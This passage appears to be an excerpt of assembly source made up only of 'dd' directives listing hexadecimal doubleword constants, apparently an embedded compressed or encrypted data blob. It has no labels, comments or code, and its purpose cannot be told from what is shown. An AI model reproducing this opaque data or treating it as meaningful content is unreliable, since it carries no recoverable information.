23A0403Bh, 18912767h dd 7C141F14h, 94205D6Fh, 0F6631108h, 44F0F02Ah, 0D5260F1Fh dd 4C139EBBh, 0D2F3F100h, 5296B6B0h, 44008C54h, 0A955BD68h dd 48E91A79h, 0DAEE99A4h, 83934539h, 0CD88C3D9h, 8A7698BFh dd 49D8043Ah, 90AF711Fh, 605E2B58h, 9AD99600h, 1A3A0B66h dd 89216006h, 0C3F0488Bh, 0C08D201h, 88ECA810h, 0CE02770h dd 0C5A01C9Ch, 0E4024B91h, 838C3FE5h, 87F080D9h, 2436985Ch dd 3CE8E082h, 30B418AAh, 49612806h, 0C5734DD5h, 0DBCCFC00h dd 51BBE184h, 182C3321h, 249838D1h, 72B8DF3Bh, 9929BF0Ah dd 68B79CF5h, 467564C0h, 1A7E04FCh, 2213935Bh, 0E0562065h dd 9672C0F6h, 0B9550200h, 0D962B886h, 0E8370042h, 6164B74Ch dd 1551CE75h, 6F3DE4A8h, 3F03C8A4h, 0B0A45F0Bh, 8D01B856h dd 26889861h, 64A02D22h, 30C2385Dh, 8B18F86Dh, 0A503C9ADh dd 0A2BC3D4Fh, 0FBA91EDDh, 5C5545D4h, 32985206h, 0D4A0AEBCh dd 271107D0h, 7300577Fh, 0AF8943Ch, 713FE6AFh, 0BEF0029Eh dd 78DA218Dh, 19446C44h, 52160197h, 0B29CD45Bh, 69E9C4E5h dd 0DDF9A817h, 27C25800h, 7D11A14h, 0F1EDD4F3h, 3A2AF184h dd 30306226h, 4E4DD158h, 34A6007Fh, 0F99F0324h, 201CC36Ch dd 6558E7CBh, 0A68B48h, 9B3589F5h, 9A1EED19h, 8FC9B16Fh dd 3A4EE5E9h, 4404DC1Fh, 97041ADDh, 0F91C43E4h, 0A031039Dh dd 0BC4CECA4h, 2100E2ABh, 437A5C8Bh, 31A388h, 0B1D91C93h dd 5B20D5A4h, 9D249454h, 34C71284h, 0B36C41E9h, 40226D43h dd 0F43D4BB4h, 1DD34C3Bh, 26C7F242h, 869091E9h, 5E51A1Ch dd 0BB7B2CC7h, 35D820AAh, 0CD093DE7h, 3E37C5Bh, 0BCC441h dd 78112A69h, 0DE9F92DCh, 5500EFFCh, 1A52DB30h, 164BC101h dd 20C388E1h, 11B6B8A8h, 7C8CF600h, 44E53DB5h, 15CE4DAh dd 0B02D6952h, 308E78B8h, 71551E04h, 0B7DC40C8h, 42587B52h dd 841D3F2Fh, 0AD086F3Ch, 1B304091h, 9D05DA10h, 60DEED02h dd 40234E75h, 624C5B70h, 8B06D11Fh, 0E1BF3848h, 6279A100h dd 0CB3573F6h, 744B0422h, 809E1513h, 123E4592h, 0B61430FDh dd 0A46CAE2Ah, 0EE975A19h, 0DB41B251h, 1180B5B4h, 0B90D5946h dd 93017045h, 5FB6B7F2h, 432030Bh, 0E0D9F000h, 5E23E14Dh dd 63C0274h, 0A702F317h, 6E7B05DDh, 0A1F082A3h, 1CE49025h dd 28575CA8h, 0FA81C849h, 3FB763A1h, 0BF46F4C1h, 83A91984h dd 227CD1DCh, 1FE462DAh, 482ED5B2h, 0A88CFC60h, 7733E70h dd 4DCCDE80h, 0E065BBD2h, 10F7F890h, 75B8FDAh, 9DD339DEh dd 2013BEC3h, 805EE338h, 314EA701h, 1556EDD5h, 0DD6DB0CFh dd 4BF80790h, 5AA474A9h, 78FF08A8h, 0D8645824h, 4A9D80AEh dd 517180F9h, 2DB87400h, 13F87B12h, 0B9F50942h, 3C13C38Eh dd 0D06404A0h, 0B029AE00h, 0A4DD30B3h, 5FD600FFh, 3F4C4E2Eh dd 0D40B4358h, 90C4E6C6h, 0EB9F0C4h, 0DCCDC547h, 0AFA019A0h dd 547FFFD8h, 189A3A24h, 21E79762h, 86B2A41Ch, 0E94C5A79h dd 0F8202419h, 6A80BF54h, 0CE18683Ah, 39048ECBh, 0D911AB1Fh dd 0AD3104D0h, 94615823h, 91D71896h, 5D1CA82Dh, 0F581CD7h dd 8AE93B38h, 0E3A5A8C8h, 0F99C71C0h, 98945Fh, 8969D716h dd 8BAAEFF3h, 0A1ADC330h, 35F8D8Ch, 0A78EB0F2h, 99C02A3Eh dd 6001F67Ch, 0ADC8D98Bh, 0BC340545h, 8D2F12F4h, 63A00EEAh dd 0ED3A0091h, 758E07E2h, 0DD3C362Bh, 0F15D9820h, 6D3E8098h dd 0CF2FAC4h, 0DE5201E5h, 0CE81EF31h, 51FCC214h, 8431852Fh dd 692F44CAh, 6000647Ch, 888127CEh, 30850099h, 0E32985Eh dd 0AA0F37E2h, 0E63C60A4h, 391CA6h, 38D49435h, 0AD6DA09Bh dd 0FDBF5E0Fh, 29A6C0CEh, 92F499A7h, 187944F8h, 7E095E00h dd 24A310D5h, 0BCBC5CB9h, 2BAE1C8h, 24044382h, 1212E305h dd 886E2AC9h, 168C468Ch, 253B7439h, 0B4148164h, 608612BDh dd 0A25F686h, 75657B0Eh, 56E98080h, 6043D82Dh, 0D7636400h dd 851577BCh, 74910114h, 661B8AF4h, 0B134344Bh, 59608090h dd 1D3C65B1h, 72EC3EF9h, 0C09CE283h, 48C918FAh, 0A900F701h dd 564D30B9h, 321764Ah, 98FB99FFh, 3E907CD2h, 44031650h dd 0B5C73ADFh, 0A07A82DDh, 0D254DB94h, 41EE1BACh, 0A5E0E9B4h dd 0F60F665Bh, 94B2019Ch, 57F080E0h, 9E59D9h, 34932760h dd 1163AAC7h, 977A7C01h, 0A728A250h, 0A8076862h, 32351CE3h dd 30663222h, 90A690Bh, 0DD80833Ah, 0B7C2ADDEh, 13F8E930h dd 38F56110h, 5B803B0Fh, 0E124CEF7h, 66A4B45Ah, 68599FDFh dd 0DD0544h, 0EC887652h, 41C47A7Dh, 0ED479000h, 5DF2E355h dd 0B030A075h, 0B491B4h, 18F5504Dh, 0F02838DBh, 0E884BCA2h dd 0A58C3400h, 97720AFAh dd 0B00504B9h, 82AC201Dh, 0BB114FF0h, 7813180h, 0AA0F4CE6h dd 22A11200h, 0CA9A1B0Bh, 4CDC7747h, 0BE84D834h, 0B70CC8Bh dd 5D5E4900h, 4EB28D67h, 0F5C6058Ah, 81385226h, 5CA5A09Fh dd 83843ACCh, 0C839EB64h, 2EA7CB19h, 2A36C4h, 434EB8Eh dd 0C829B1B2h, 5B0280C6h, 4EF64A98h, 0CB990B98h, 0A60FB768h dd 0BC313861h, 1803286h, 29CBA0B3h, 0F9821A6Fh, 0D1D2A491h dd 0D9B820E3h, 85485ADBh, 0F88B878Ch, 7B5CB0F0h, 0E8E201A2h dd 8D98BB71h, 9079A4DCh, 0E055B743h, 0BDA2A9h, 44625681h dd 0AF77428Eh, 2394C451h, 0D2681FA0h, 0A7BE2FC7h, 12DC90CBh dd 74B7030Eh, 0C1FD6C8Bh, 0B9AF2388h, 18A73D18h, 2624B371h dd 4E7C791Eh, 5C9C2012h, 2A005A0Eh, 0E70F4636h, 16DA21FCh dd 43796B1h, 0B33224E7h, 341100F8h, 4C5348F8h, 218904C9h dd 0B4027C0Bh, 2300062Ch, 0DD5514DAh, 0E8D971F3h, 5C460097h dd 0FB6B90F1h, 880EEC73h, 223A4C7Ch, 0C4B43DEEh, 0BE710040h dd 0CE08D10Ah, 0CF39421Ah, 8901789Eh, 0A2DEE77Bh, 4561BB7Ch dd 0E4483198h, 3F00B483h, 9D896ED8h, 0B0EF2F31h, 6F2A132Ch dd 0A674DC53h, 31D12300h, 19D3337Dh, 5BCF17C1h, 172800A8h dd 0D1610462h, 0D6D99D0Ch, 94B448E8h, 0FADA803Ch, 35D44E5Ah dd 527E8F02h, 0C4261E21h, 0AE648018h, 9C1026C4h, 5B003FABh dd 47FB60Eh, 0E3052188h, 0D5A5D34Dh, 562DF0C0h, 918B9829h dd 24EB2CB8h, 52E244D4h, 0E0C86C0Fh, 17F27571h, 3121188Bh dd 3A382909h, 3C6F4B09h, 9744C86Eh, 6B0033Dh, 0ECB9CA71h dd 3B0AA827h, 76F8E0BCh, 83F45Bh, 0DDE8F98h, 282F22C6h dd 0C73F4600h, 6F3CFC2Dh, 91A4A4FFh, 0F980010h, 10446425h dd 4614F40Eh, 13DC20F3h, 28BEB21Ah, 5CD4B187h, 8F80E065h dd 0D58C5059h, 227C1B3Eh, 14BF003Bh, 0CB9D1595h, 0F50076E9h dd 1904AA28h, 1CD82C87h, 0C1B8B04Ch, 3DF33897h, 0C3C24ECh dd 49056803h, 2DC01DFh, 0A61D93A1h, 0BCE2D334h, 40D4940Eh dd 4A5E3D01h, 201C9433h, 8E05C318h, 8C5A8D7Ch, 39DA6C40h dd 4C520949h, 473D44Ch, 0F69D8837h, 2A28D1E9h, 58E87263h dd 40F6CFB8h, 179D9B6Bh, 7B3302E5h, 6F93B214h, 0A1782443h dd 0A6ED4817h, 19592C20h, 4177F5h, 85091D73h, 0CDB4B7F0h dd 700E21C0h, 1F11C704h, 80FF596Fh, 9885CF4Fh, 0FBEA896Ah dd 0A0659B2Dh, 0A964752Ch, 0BFA61C8Eh, 74B1C0D2h, 0F3B76ABDh dd 0EA1E9D18h, 0B26695C1h, 0C0309C08h, 0CE63F5E0h, 0CB47A0Fh dd 0E33A4311h, 96BCE06Eh, 0B64609B5h, 0C894A17Bh, 0E928220h dd 6DA968DDh, 3E48C7E1h, 39C62A7h, 11C515Dh, 0E533C0D7h dd 72A0FA57h, 0DF110075h, 78DEA31Fh, 0FA055D5Ah, 8FE07458h dd 2B8B6C40h, 0E8A48079h, 0FEAD00E7h, 0E092B2B6h, 76053E3Fh dd 6610CE42h, 0E1C89C89h, 0A204034Ah, 3A82D723h, 0D8A01E82h dd 76D67B7Eh, 8BEC9000h, 0CD102614h, 802702F2h, 0D922E073h dd 0A55CD4C4h, 6AC09DC0h, 0DADB332Ah, 318C00A2h, 78E259Eh dd 62F2841Bh, 100F937Eh, 0F33022E1h, 0E5E09830h, 276E03C2h dd 7B2B7D2Ch, 8C016DE0h, 87F900E9h, 0B2F4EAh, 282542DCh dd 1A55267Eh, 64862402h, 72A74CA5h, 464200F8h, 0E0E4B125h dd 10028617h, 89C7C385h, 5938C080h, 0EDA4187Bh, 5CFA08B1h dd 2915F201h, 3AAD4488h, 0E94B5430h, 44D289CEh, 10D100E4h dd 87915B4Fh, 0F600473Bh, 0D344E16Fh, 5827B57Bh, 0C0DCF4E9h dd 0CA674BFh, 0BC002FA0h, 1C568E50h, 7706A3DAh, 314F24F1h dd 219C8894h, 0E740C544h, 328918B0h, 4B0F510Fh, 7C5B80F5h dd 1E4F1Dh, 88384263h, 0E4A1BB94h, 9CA21C88h, 8EC47F8h dd 51DD00BCh, 0B96198B2h, 3DE00796h, 75455343h, 8E3481E6h dd 0E43D65h, 0F87B3ED5h, 198E00Dh, 7F3BFD63h, 38E93375h dd 0A31C14C0h, 0F8A43534h, 2215DC82h, 0ECD23823h, 7B68F44Ch dd 102DF096h, 728BE0h, 16DABFB0h, 0CB242641h, 96B27C09h dd 0C6B41065h, 8DA4073Dh, 9097D62Eh, 2DE4ED66h, 0F420A500h dd 0EA63EC41h, 6F5C1EF6h, 5C0AA56Ah, 709A6088h, 530037F3h dd 0A8432FCAh, 2662A941h, 0C0AC0920h, 119C0F76h, 8381BC3Dh dd 0E2225507h, 0A40D04Fh, 0B13A1942h, 40F1B9C3h, 9550038Fh dd 10E0832Dh, 1811850h, 0E54CF712h, 0C5F07DF4h, 8AEFECDAh dd 31A3D02h, 645C1F53h, 3E5A35A0h, 7B848081h, 0E3002AD7h dd 3A396E91h, 2C3CEAB8h, 0CFCE42Ch, 680227Dh, 6089666Fh dd 98FA49D5h, 0C40300E3h, 2AAB3307h, 1A0E6ECEh, 0EA94E6C9h dd 9868C460h, 3ED31280h, 0B097E4BFh, 775C0010h, 12FF1C8h dd 0BC90A6ABh, 6ED7AF16h, 1DF30C47h, 102D9B60h, 978E242Fh dd 5E411B4h, 42449E7Ah, 0DE6FB380h, 1658E6CAh, 21D56229h dd 2405549Ch, 603123CCh, 1E22917Ch, 95097429h, 6404F48Eh dd 480053E2h, 0E38AFE0Bh, 0C30D014Ch, 88EBE4FBh, 0A2A045B6h dd 0A67602D0h, 60D9E55Fh, 0F65DC98h, 9534D4FDh, 0F400C58Fh dd 5B1CBFD7h, 90271094h, 1ED4378h, 0AFF07588h, 60D7EF8Bh dd 33FB8A74h, 64D007C8h, 2111FEE7h, 0A2E849C7h, 6E930EA0h dd 4BF285EDh, 0C4E8B430h, 0C600DCACh, 0B33FB992h, 177E63D9h dd 20993D49h, 453E2938h, 27761E14h, 20A72D48h, 0EA558344h dd 9DFA30h, 0DF94CA38h, 0B1118D41h, 62430B00h, 8EBC5206h dd 4CA14CA5h, 45EA68C0h, 8F05445Eh, 9E83F4C0h, 0F91094E7h dd 0CA124A0h, 51583824h, 0CD75074Fh, 50777809h, 1E32B0DDh dd 91A15B27h, 0A90CA27Ch, 723810E9h, 0D4A404BCh, 0A8B042F3h dd 287BE074h, 83B701D2h, 0A5AFA8C9h, 0A58C57DCh, 12E0A020h dd 0CEAC988Ah, 0E23600A2h, 0B98699BEh, 410050D4h, 5294C1B7h dd 0B80B4D48h, 3A4C0078h, 21C48968h, 5100B381h, 0A18F8BF0h dd 78CE70BAh, 271D00ACh, 5861AB78h, 160E2A35h, 803C1BFBh dd 0E7FAC028h, 0FC920060h, 0EFCF8F3Ah, 8715990h, 36127002h dd 0C0500B2Ah, 61DEE122h, 0BC09391Dh, 2000D315h, 0CBFD920Ah dd 41FF2B37h, 6E74F098h, 0B84B300h, 0F30C4F18h, 457E3889h dd 726DFD00h, 9CB25794h, 58368003h, 1817E79Dh, 59073238h dd 5600D202h, 0B3D4C02Ch, 32B0941h, 0C79BD77Eh, 697490FBh dd 0C6C3A100h, 93640379h, 0E3BF06BAh, 491C231Ah, 0D8BDCE00h dd 0FED6C72Eh, 13F23E7Bh, 0E101528h, 0BFEEEC6Dh, 76FC4C61h dd 9A188511h, 9822C2A0h, 0B58B2709h, 5747C3C7h, 0D73D25E0h dd 9C2E0300h, 0FF2A0AA1h, 2B0B3152h, 11869340h, 5840FEC8h dd 7B64DBEAh, 809F002Bh, 76076F8Bh, 3401E651h, 0E3491AC4h dd 0B4480AD7h, 0D54A204h, 189508C0h, 7C006078h, 0B7CF94C5h dd 490C89AEh, 4108FAB8h, 0A4451356h, 0AF4D00F8h, 70DB1F0Ah dd 0A264CD01h, 8E752FDDh, 2D20E0BEh, 20D16A01h, 0BD370C59h dd 28048h, 0C60EEA9Eh, 6EC1F605h, 939D9100h, 4899477h dd 63267C4Dh, 9CBB91EFh, 0D6B1A900h, 0CE23991Bh, 778B76A4h dd 4FEA0907h, 0DA0053A8h, 0FE85928Ch, 31FC9600h, 34DD7058h dd 126200ACh, 3B2E630Eh, 336ED6E3h, 0C6C80A1h, 0A989FBDFh dd 0C8C310A8h, 191B5B66h, 1912E011h, 22FAF92Ah, 0DB0B0058h dd 0A7977C33h, 26FB3025h, 0D8B41E51h, 109E5A01h, 6027A78h dd 26C11E4h, 938696Ah, 342117F5h, 14E125B2h, 0BA0B1196h dd 3835A207h, 93F0693Dh, 9C5E5487h, 88B32859h, 0E912EA0Ch dd 402DB417h, 1EA18519h dd 0D43C0205h, 879FABB8h, 79A8208Eh, 79E6158Ch, 0BCDA1E47h dd 780F9DDh, 0D9375144h, 977F280h, 0E487A906h, 301A9304h dd 734183FEh, 0A8771D07h, 33550900h, 955B311Eh, 0E1E3005Ah dd 4AC9990Bh, 0B8003894h, 0D59F93CBh, 0DEA8A158h, 2D854CF1h dd 0DA0227C1h, 0B8D7E2C0h, 19544A3Ah, 77F00F8Ch, 0D50E2C8Eh dd 54BB0C73h, 0D2009BD1h, 0F2A4A064h, 0FE93595Ah, 739F3EA6h dd 0C9755D5Ch, 6010FB61h, 400B220h, 2274C0F8h, 37AE277h dd 4CCD1DA5h, 300C05BDh, 89D1FA11h, 2340B76Ch, 5100358Bh dd 1A59C5B4h, 7CDC1FAh, 0CB7D6781h, 68A2D9DAh, 3110ADBh dd 847CB423h, 0BE2FB614h, 1D1F1084h, 29E0153Ah, 31932C7Fh dd 23198EA0h, 0AEACE109h, 0AD542077h, 1425F4B7h, 80568409h dd 19920F00h, 0DBACE2CEh, 7CA29DFh, 0D4123CECh, 9CFF4C21h dd 0D81EDC53h, 3138C06h, 0A5055C22h, 9820AD07h, 4A7744BDh dd 0B4B1BC2Ah, 0C8590902h, 801E57D3h, 4DE315EAh, 0B180C632h dd 824438BFh, 57642293h, 0F725C812h, 48007825h, 0D3945B19h dd 9E991806h, 0B659295Ah, 4AA12C67h, 2FB371A0h, 0F0A867E1h dd 9020E90Ch, 37CC0192h, 0AD65D401h, 9ADD94A3h, 0C081B2FDh dd 0DBA1C286h, 0E1150121h, 4B097980h, 4F857188h, 6D477A03h dd 0E0CEB36Ah, 7FA8F722h, 82FE3087h, 0FC14CC81h, 40F12600h dd 963B757Eh, 9A2F124Fh, 2B582192h, 94CEE5B7h, 165C64F8h dd 181DF19Eh, 780C5656h, 0F7E13187h, 1A003832h, 93E4ABCh dd 21D03708h, 0A2D803E4h, 3EB1ACE3h, 0A03A2E29h, 80B89A2Ch dd 58F41F81h, 71D07888h, 0DDE161C2h, 0C940023Eh, 0A1B317h dd 2FCC9654h, 0F3E5F50Fh, 0FDA8E704h, 1C90BB13h, 9427216h dd 805CE4B1h, 0FE922C01h, 0A066CD98h, 12F8DCA9h, 0D4D1E188h dd 772224F9h, 95272003h, 0D8C37873h, 0F062C8h, 0ED0C9BE7h dd 994023A1h, 5B261CF8h, 5A1D4432h, 48C0EB1Eh, 23B6CD01h dd 0FC210806h, 2D0717E4h, 4F0FC9AEh, 0B08B8055h, 0E6612B30h dd 0BADE05EAh, 7BE7024h, 32AB7658h, 0C8A5374Eh, 39F83097h dd 8E01B357h, 77B2CC9Eh, 0F5C43E11h, 7F973F65h, 8459BD95h dd 3FC50C00h, 427D9891h, 0A1D13300h, 8BF8CB88h, 556433ABh dd 783AC829h, 1E3D87B4h, 1FC7B2A1h, 88A8A5D1h, 89090C60h dd 47D960C1h, 6A7C9E01h, 335F6ED2h, 484D5820h, 9F211829h dd 0E3269404h, 0E488D0C4h, 549678B3h, 0B09B089Eh, 0D97FCC0h dd 7FBC9F4h, 0E2952069h, 340B7200h, 981FDCA3h, 375F00A0h dd 8D4A87ABh, 0B302354Dh, 75805D6Bh, 0D4C080B5h, 0ACBC0Eh dd 344D9441h, 355BE3B3h, 2CB55824h, 20E63242h, 0B413EA46h dd 82B860B5h, 457759Ch, 0F889FC48h, 0A1BC8295h, 302D54E1h dd 0B9C21D3Ch, 4825F50Bh, 0F8ACCD64h, 0F0720231h, 8DD76B23h dd 0C9B469C0h, 6CD41200h, 2010EC19h, 0D4B924h, 0D1EE0B90h dd 9F00EDC5h, 5C913ABBh, 240360A3h, 6A8C1E2Fh, 0E5BC0854h dd 355FBB84h, 0F06A5907h, 0A9525E9Fh, 5B090A03h, 89582EB5h dd 0DAFC3318h, 0CA0B048Ah, 977BAF25h, 30202DC4h, 207AD544h dd 109AE89h, 0E3A96CE4h, 9B9AB018h, 18C01639h, 29E215E6h dd 0C100BD69h, 0CFE7D218h, 1C3BEB08h, 80240A27h, 0B769EE12h dd 85730EACh, 43AD182Dh, 281AE982h, 0CBA04442h, 77A8C040h dd 4D6E3817h, 34C66F95h, 5695900h, 0F2C820B8h, 2B847800h dd 718D9219h, 0E6DF02AFh, 2C475380h, 80D61C61h, 0B2C64AC9h dd 54BD5C2Fh, 3A398B0h, 0ECAC376h, 6EE36A9Ah, 5E24D909h dd 62C09249h, 0CC8C10A4h, 5BA31F1Bh, 0F5BB9F97h, 0D1FC9820h dd 0DFF85F00h, 2B60C3CAh, 9619C234h, 9846A91Fh, 805C763Ch dd 8DFDDC6Fh, 4E4559Eh, 4489B231h, 82B0890Fh, 0DAE19B10h dd 0AB24821Eh, 2A94469Dh, 9988EFBh, 51807538h, 95AC8580h dd 7800AAFFh, 4506E11Eh, 49C10926h, 0C2221813h, 8B298A00h dd 0F7F5A8AAh, 7BA2139Ch, 25E0004Ch, 0D951B9C1h, 0DF4450BAh dd 0E623221Ah, 478E1B00h, 8BDE3074h, 8AB800FBh, 70E6EF6Fh dd 850B1DAEh, 10230AC9h, 2A371F4h, 0AF0DD643h, 58421297h dd 5050C46h, 9A2ECF1Dh, 0C90EAC4h, 0A05B9C27h, 0FCBC89F4h dd 5A6C0071h, 0F793C9BEh, 950A87DAh, 0D0D7E112h, 4423B740h dd 0E3B40142h, 3B7AFA34h, 75FCF011h, 467D69C0h, 226C1A8h dd 0ACC4D6A9h, 0D082CD8Eh, 10602BB8h, 2518D34Fh, 0EB91311h dd 86A12AF5h, 14F4B2C0h, 0C49A98F8h, 0AB6A25C0h, 44982BB2h dd 44958800h, 0D7BA650Ch, 299D60BCh, 380AFAC8h, 68423400h dd 5E815FD3h, 6E50FDBh, 964275CDh, 0DE40874Dh, 80948899h dd 9DC8504Fh, 2E209F64h, 0EA582796h, 389A2868h, 770756F4h dd 69B5B350h, 330593D1h, 1028E1CEh, 0B04C6470h, 94444C0h dd 0DD8F652h, 193530E1h, 2CBD9886h, 0C8997937h, 80F3CCC3h dd 91F4ABh, 6A3E09AFh, 66BA62EEh, 31A28301h, 36231E11h dd 726D7470h, 84FE581Fh, 907C4680h, 0E8E5258Dh, 73F2A64h dd 6E270081h, 7DC03BB4h, 4D9505F9h, 12DD70B8h, 460207Ch dd 8914CD0Eh, 809CBCC3h, 6E55C8F9h, 0D70600A6h, 6CAFB0FDh dd 0A490798Ah, 0F4E1D128h, 0D0E81D45h, 9F4D02C8h, 649A1FD2h dd 24154444h, 188CADFCh, 8D311B15h, 2CB900E7h, 1972B0F5h dd 9B295B9Dh, 1E118C91h, 800F5E7Dh, 646B5D09h, 1D703B01h dd 9D591E99h, 88056441h, 0E1D01C21h, 51C99A8h, 0B3540E4h dd 988399D8h, 0DAB0AD49h, 0E122D95h, 2095DD73h, 9D55EC08h dd 0E98B4211h, 407FADC2h, 521318Dh, 9257385h, 31C8AE3h dd 33FDCE9Ch, 6D4A88Eh, 0BDDD02C0h, 8876ACA3h, 0D621A8E1h dd 15C0448h, 2E2EC83Ah, 2A00E032h, 42A15B66h, 0B449114h dd 0F004A668h, 0FCC852A9h, 75ABB064h, 49EB027Ah, 0B5D5201Fh dd 11A05B60h, 70A7432Eh, 0A4888C12h, 8820441Ah, 1F814A1Eh dd 58FBB2C6h, 8153371h, 0CE884521h, 1305A719h, 9B946FFFh dd 0B3D99C81h, 4C932C4h, 0E3B14C1Bh, 60D8C9D5h, 1324D770h dd 0B43AECFAh, 883A91Ch, 1FCF00Dh, 0ED4F2409h, 34930480h dd 0ABA2042Dh, 0B3400024h, 65DA70CFh, 0F102BF02h, 0C1879ABCh dd 0E834AE76h, 20892471h, 3ACF08ACh, 499DFE0Ch, 0C3673F51h dd 0D18068BCh, 0CB400947h, 57BDC10h, 0E1998613h, 0E36A7C01h dd 0C1852430h, 22050409h, 0B20B1E8h, 520AF4Bh, 9BAB5869h dd 1FE8CCB3h, 22E6A10Eh, 9E1E525Ch, 0A0A7900Ch, 49D44EE1h dd 6410FF00h, 2A03C685h, 95822C2Dh, 2F73E0D4h, 4F5A0A8Ch dd 8D87554h, 968436AAh, 0C7401A15h, 7FBDA539h, 5AE5CE00h dd 3155416Ah, 9833h, 943DB630h, 262ADE1Fh, 7C23134Fh, 0F9B100C3h dd 766A19E9h, 0BD00D60Ah, 29CE3B04h, 1D81A79Dh, 244DE2Eh dd 4D203837h, 32007051h, 0DEDC158Dh, 0EAAF0028h, 13416D22h dd 0AB116E30h, 7604569Eh, 82D01875h, 0E3113928h, 70F54811h dd 0F900DF02h, 95720253h, 1C3C156Ch, 0C061B575h, 0A41E2E60h dd 54C9026h, 847B0025h, 40325144h, 48373E01h, 2F450900h dd 75713443h, 80526528h, 1B20BF09h, 8A940594h, 0B482D024h dd 0CA6483BCh, 0A3129078h, 188C0765h, 29AEB42h, 0C61B93Fh dd 13A460ACh, 3444890h, 1349019h, 0E8328758h, 0F88E77DDh dd 5B7B0A94h, 8841894Eh, 0FB5DC14Ah, 3D0F0039h, 0E880142Dh dd 0E04FBF10h, 2EB53400h, 0A258CCABh, 0B43C2512h, 0D4003C1Ch dd 0CAABB28Bh dd 3C4717B3h, 683FB02h, 15486F5Bh, 24C423BAh, 8E07E900h dd 0BCB54DE8h, 4C4E3EF3h, 640221BDh, 0BAFF7DE6h, 3D736464h dd 13C3009h, 0A2B38E89h, 0E4CB244Ah, 435E4464h, 0B2F69D00h dd 31749153h, 0B1D400FBh, 0A1B48D92h, 9162C0Eh, 0C4C89807h dd 0DB9F046Eh, 402D26FAh, 0D56C271Bh, 0EB793F87h, 5C80C738h dd 3FCAEA89h, 0E026FF80h, 0F64E64D7h, 9D649C90h, 0E6F0972h dd 300151C4h, 24D2F592h, 0BE27FCA4h, 0E29FC3Ch, 0AC2EFF6Dh dd 27F8DB21h, 75A5E0B6h, 812E881Fh, 83980A94h, 1AAFEC8h dd 46063561h, 70C07159h, 6E789AD8h, 0E6C1CB07h, 122FA42h dd 0DB40E0C7h, 4D2903B2h, 464E1495h, 0D4607BC2h, 309173BDh dd 5C21FB13h, 72E86ADAh, 33370083h, 0B65223B2h, 7767CB8h dd 0DBAD5E00h, 0E7C8C5FBh, 693100B3h, 55DD709h, 9610C70Bh dd 2A071922h, 220E113Dh, 6E7860F1h, 22DCC94Ch, 0CD0A1313h dd 0A4441F8Bh, 0EB32C174h, 0B364206Bh, 0D1EE4407h, 0F8993B8h dd 0C3332094h, 0F1CC9CDBh, 889D5C20h, 57258793h, 5ECC3035h dd 397E0792h, 0E031307Dh, 5BE0125Ch, 0C7E83548h, 1DC06053h dd 1C7C0C32h, 40EBC5D7h, 0E1C25A22h, 0C72F089Bh, 0CCBC20FBh dd 3E1FF46Ah, 176926Bh, 976290B0h, 783BC1D3h, 0DAA580D0h dd 55C50Dh, 5FA8642h, 82D1D977h, 2E89C8FDh, 2A93E125h dd 682644E0h, 96B2414Eh, 6825BE19h, 14B3F840h, 0C8BB4CFDh dd 0D600215Bh, 4FF02A1Ah, 0A5CF00B6h, 57375C1Fh, 0DB05F0FDh dd 0E9209751h, 23D483h, 72D3A669h, 0E0A919C6h, 107FB800h dd 0AFA836F4h, 678A0087h, 2E5B5F1Fh, 0AC269B18h, 95815CA7h dd 94458819h, 3AE98860h, 0DF344D30h, 0AE98D189h, 35E2D35Eh dd 14649C62h, 0EE455200h, 4433D84h, 2C3F68Eh, 2278254Dh dd 9CE6971Ah, 0B49BA200h, 53490C62h, 584408E4h, 0F7812CA0h dd 8674B2ADh, 206403Dh, 181F64CDh, 90AB8F2Dh, 92C24A0h dd 0A158BA1Eh, 15A18444h, 80EDF92Fh, 0FE10F771h, 70799465h dd 189FC33h, 11A14493h, 0F0C6CC76h, 20B15ACBh, 8D471287h dd 0DD0E2A0h, 36E4010Ch, 0B3B00EAEh, 2A698022h, 5FC9258h dd 3340B07Eh, 1219F024h, 23C4A0C7h, 347C78C7h, 0B5EA9F03h dd 0A3FE156Fh, 0F496F114h, 495DD884h, 44E8A20Ch, 0D9170564h dd 88901A96h, 0E4932F4Ah, 26340169h, 58D7C794h, 0B018559Fh dd 7CA0157Ch, 50000876h, 637D6953h, 21C6B4h, 25929C5Dh dd 0CC1CFC41h, 0A1D0F909h, 132CE129h, 108A4442h, 92733C19h dd 0BF42C5Ch, 6917D4A2h, 0FB125E78h, 530F10FAh, 81817237h dd 0B55B782Dh, 0C173863h, 0ECB020F5h, 0B201AA6Bh, 64BF87DFh dd 548365C6h, 0ACE12419h, 984486CAh, 92000842h, 1457542Dh dd 26ED38AEh, 77B10040h, 0B369EAB5h, 0CF7C0065h, 0A6C4683Fh dd 14A8535Eh, 0C1001AB4h, 0B7134803h, 0BE73D0Eh, 2D623A20h dd 0A46040C4h, 37ED2F81h, 5E974C2Bh, 5CBAD43Ah, 0E2BD2860h dd 968898ACh, 21D302A8h, 0E395AB42h, 0B3338140h, 0E253902Ch dd 0C501BC2Ch, 0E415F6B2h, 409BD19Fh, 5B567385h, 0F02AEC7h dd 31A39722h, 0F814D861h, 93148489h, 93B8869Bh, 0BC734D0h dd 0FDB1F9Eh, 87A680F3h, 0AA8660CFh, 31F6F82Fh, 9C34FE28h dd 97260F36h, 0A7E45260h, 2EFFC08Fh, 2104A076h, 0FB1DE2D7h dd 1EC604A4h, 7BF17Ch, 0D90EF699h, 6D00AE29h, 0C9F44D43h dd 0FEA7298h, 0B7AD2B53h, 0BA092642h, 0BCB49C78h, 61C1CC47h dd 0B878D50Fh, 0B1EDF84h, 0CD804815h, 59C60070h, 5B43B27Dh dd 6B38F540h, 39C9632Fh, 0CA60224Ch, 64D9E125h, 130A21A4h dd 0BCCC0184h, 1B1C00A9h, 0BA0B037Bh, 0AA0E752h, 280069DAh dd 0FAA91B1h, 4EA24C62h, 0A4882164h, 702F0277h, 0F5082FE8h dd 28D93091h, 8018A094h, 0AE991C14h, 6DAC405Fh, 0BED33522h dd 193A31Fh, 0D0ADE185h, 80AA1C08h, 4C1392E6h, 940002F9h dd 8BECFB49h, 28019DBh, 9625B9F3h, 2CE16F27h, 11402D42h dd 93168EB3h, 0CE68979Fh, 80C3ACAh, 0A142849Ch, 18642B76h dd 3F308003h, 804E240Eh, 2F13727h, 4A1CFBDFh, 0E8F2BC18h dd 95122F20h, 49893086h, 0B67D6301h, 0CD10DE70h, 0A3E8E0D4h dd 7314A2ECh, 6A90094h, 3D50799Fh, 757F8617h, 89BDFC88h dd 0D03DFFh, 8CF3D774h, 199550Bh, 53311137h, 699C9A2Eh dd 93C80BC8h, 0A688643Bh, 3D910958h, 0CE00686Eh, 6F8F2EC8h dd 69746701h, 5E834C81h, 95766860h, 1FDA5C03h, 